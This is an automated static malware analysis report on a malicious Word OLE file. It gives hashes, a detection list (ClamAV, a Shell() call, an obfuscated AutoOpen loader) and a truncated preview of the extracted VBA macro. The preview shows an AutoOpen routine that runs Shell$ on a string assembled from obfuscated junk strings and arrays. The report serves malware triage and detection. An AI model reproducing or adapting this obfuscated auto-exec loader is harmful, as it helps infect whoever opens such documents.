Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 07ccbcf3a112bf3d…

MALICIOUS

Office (OLE)

137.0 KB Created: 2017-11-15 12:34:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: d59a45c582b64d465e9fa53cfe14b742 SHA-1: 7ff348e58220dbcb0ce5cb7e06a57ebb5439b10e SHA-256: 07ccbcf3a112bf3d6292d97a4473c2c3549316f86b9078081b1b34d12b9ae46c
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and obfuscated, suggesting an attempt to hide malicious activity. The script attempts to execute a command via Shell(), likely to download and run a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 142833 bytes
SHA-256: e20a42e3bf45688c6fec94a3e6178a4507a662e6c967a12b677f8b78c472cd6c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 88 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iiHuVVrpO"
Sub AutoOpen()
LhPCnDXEK = "jDsXXriWq" + "EcZhduNfr" + "OAqJKhVoW" + "NUkHDorcq"
Shell$ rpTrLDmSc, 0
fAqLFaKWo = "HdDVoHMID" + "TZsKBjUUC" + "FzZlpBEhf" + "ADvQwntOK"
End Sub
Function rpTrLDmSc()
QhhjODzhS = "zwdRwwqd1iqbbVdzaiWNjiBYIUzCHcWnCkzVVsPLwfozzONInIRijDLjHIIjSsfNlDYrXIbhPKOEuDauHoPwLrGwYONNkitGzbMupVlfjjPWpHpDhOYddjBuwaSJuOzjQIESrjElDjScckIRYJjVKQcTZSzODbkRliGhCWMBJnZtOZRMRBklibWzfltZipiczFHRsQT1Rdi5Y"
PcwOHlT = Mid(QhhjODzhS, 11, 183)
aSWEVRzHw = Array(32, 93, 87, 85)
kGrFYpBOk = Array(84, 27, 31, 30)
SjzpoqjAcES = Array(37, 72, 22, 22)
NhioCULLcis = "XwpDNPvSbtG3TiYNqJn6VKMGYjaRbfkkuvVThPzTVjhrzPwZMPMmoofrQStinBnScfzsTBstzVDpdVHJnAEMSwvGQiCOWSfUsPOTSDFLWTpSkpO5r"
PZvTrZLY = Mid(NhioCULLcis, 21, 91)
AYdvhilc = Array(35, 23, 15, 28)
IaCcvXd = Array(99, 76, 29, 73)
qjMGOnoo = Array(50, 33, 24, 12)
CSXPbdiV = "A6OXvTHwji5QMFDGNILjuMzEkkNWaXMtzCoLRpKbrWhPIpbvtmTcokmWZUNnwqRujutPpspXwjpXiiwuJScoEjFMQSlwcWdBFniNwMFAzviEvOrrYSdfNdqzpjzXGsvbGoSrhtSRmGk1Ndahz5D8v1Mrz8"
CjYCbXNlD = Mid(CSXPbdiV, 15, 118)
sQvwCG = Array(44, 70, 89, 13)
vJNpOlZwi = Array(21, 84, 36, 87)
RrqwDwk = Array(41, 68, 89, 21)
MQoUKfTMjpS = "m39JOzCRaChsZOlHJiqfPTXnFUhwQtUdzfznYSrOjTZzNlKQIWYliiFsKURSRDBhhDtuRzjrrbvwtZaTKQqtVjuQaEcLj9wZqLX9"
wvDfqbzzhwN = Mid(MQoUKfTMjpS, 6, 86)
ouiovwNmT = Array(18, 97, 31, 37)
FRFmwnAwNtC = Array(13, 21, 65, 37)
usrSPR = Array(10, 64, 39, 71)
GjnUfdRVfwC = "B4XHBTqOsR8C0EGvLkrnwbzijqcpwdXiqjzOHnqku3W2Nzb9SBc"
rLntB = Mid(GjnUfdRVfwC, 16, 26)
jhZBQOio = Array(15, 28, 98, 15)
fzJLA = Array(70, 85, 74, 46)
bwzYbFF = Array(24, 78, 43, 28)
VZVadPBNir = "jmuVZiwbfAqudbOCzfMWqiEAAlzBqzjJLGBQdmSTEzuNiWiqninDPzIwjsYwshlAQjiXZzYLMsStoqRdqjlj0h"
hXLqB = Mid(VZVadPBNir, 10, 71)
nDrhwqOiRo = Array(29, 64, 71, 31)
SjHVFTSt = Array(92, 32, 50, 24)
iEJDDuuntO = Array(49, 71, 22, 94)
akDcwiUMIiK = "0fAV9rFztpzJcWaQGDmbsXRPjkbaQMtvKcAszoXtGsCm5hZA9bDd"
JhmsifIwKFS = Mid(akDcwiUMIiK, 9, 36)
SiXENT = Array(29, 24, 47, 23)
iSnjMIwaM = Array(74, 45, 41, 89)
XZttzniVp = Array(28, 37, 28, 37)
FbDapzotdpV = "L72tTiA2sA0MvsFM8viinqwY4vPTp0hFpBMkjdnHhDTDFTbQHvTRoTPPjQndiqrGUmuvzzwzfMXkdrvujjMXcQQWmzEQqKcqMNjTYfQIwVmcviloUtuudTdEVYNbHipWdHv"
jbjXWSS = Mid(FbDapzotdpV, 31, 92)
fWwutDOviC = Array(72, 68, 93, 16)
cQnRh = Array(49, 84, 12, 99)
jUFWBlzp = Array(77, 38, 70, 62)
ilwFIVS = "z84FnHDj9h0hBiW0"
HLzddXiCOC = Mid(ilwFIVS, 10, 1)
WdmKJwipm = Array(36, 52, 45, 57)
WDDmU = Array(95, 76, 74, 36)
wfEXQQBGPo = Array(84, 81, 86, 56)
zkkNUHsYPjq = "6KiE9BqFvwzzDYMSXpWJNIpiKHOZRHYwrznXKfjMQCYOQArArXaXYkOPWCOqsQnnXAFFloIrIKtLjaSKQOhthAaHjXBHRqTzPlrPvlPDPiPNqCjvkDZiitFWazVNmBaSquvzjCPiziizlMQjrGWNQpQVfUozPBQOHzXwHiLhnuiEPGkOjoWjiNBBdZSONSOzNPropUZJupZkXsaEnWHuMnVp0q751wKWKDmjb2"
cGwkMMjU = Mid(zkkNUHsYPjq, 7, 197)
PLUhBqIv = Array(65, 22, 29, 84)
rNjOjiVP = Array(27, 42, 67, 84)
ncIumU = Array(46, 43, 68, 53)
ABufRlKK = "0LMi5wF9nbJCufHUjhYQIcVDTEYGdoaHLPwzQiNsjizzWNNSORtOGVjrXrbYuWajwCqijJEATfjdiWjFrGsMuMBqjFaZGpzMERBUXijEMsuaoCMAKVhoiNllAzuijftihTZNVMiIWn914N5j1J"
LvzJGjrW = Mid(ABufRlKK, 11, 128)
fHurmtlduVf = Array(98, 79, 33, 62)
cAMAOdYlRrb = Array(26, 36, 11, 89)
GhSaEJNKV = Array(79, 83, 82, 64)
OXrdA = "ib5twlKVOTiCLTJzVGUBYrZlDzLjwXDPJihvEzAViQSjtUAViPNdGZrUTKGfpMBQTdzOVqvWGzSIZtsjwqBiKaIjmMctsUjWOBMPXmAoUqWHGjuZSWizLTGtUNbINBdmSwtYhcMKpMOTEBdDRDbWlhLvvTuJKsbSMjoKpWrpKYJwFmpTjYqKaHAllwdOiCzzlvGUMTOvLmLMXMqIdaZunYNfz21n"
BhwXouSIrk = Mid(OXrdA, 16, 196)
AhPYKZjP = Array(19, 17, 48, 62)
iKvFj = Array(43, 98, 59, 87)
nlqvtznuND = Array(19, 30, 39, 20)
XhEmwlir = "InqziwzMbrIEBRBatYKtznbwlYPMitEADwHwAspUfTllitoPzwNTkiIAquOKjkdinIBCKFaBjqNiCqOskAPmjkPVqGGFifkvpDwZrlEsWMkuVdzAjVZjVrBCsfMDzUXEFSo9r2DbzouYzRFR2vOQJ0XIz0kl3"
XQMQWWmhjB = Mid(XhEmwlir, 4, 128)
wiDMzi
... (truncated)

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